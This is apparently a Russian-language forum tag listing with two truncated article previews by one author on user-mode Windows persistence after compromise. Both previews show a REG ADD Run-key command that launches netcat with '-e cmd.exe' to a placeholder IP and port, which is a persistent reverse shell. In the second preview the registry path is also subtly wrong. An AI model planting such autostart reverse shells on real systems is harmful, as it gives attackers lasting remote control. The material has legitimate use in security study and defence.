user-mode

  1. devqp

    Статья Техники персистенции в Windows: методы уровня пользователя

    Персистенция обеспечивает сохранение доступа к системе после компрометации. Ниже представлены ключевые методы для уровня прав пользователя. Реестр и папка автозагрузки Добавление записи в автозагрузку реестра: REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1 /d "C:\Path\nc.exe -e...
  2. devqp

    Статья Техники персистенции в пользовательском режиме: методы и инструменты

    Реестр и папка автозагрузки Классический метод создания персистенции через автозагрузку реестра или размещение файла в стартовой папке. Пример добавления в реестр: REG ADD HKCU\SOFTWARE\Microsoft\CurrentVersion\Run /v 1 /d "C:\Users\guest\Downloads\nc.exe -e cmd.exe IP PORT" Путь к папке...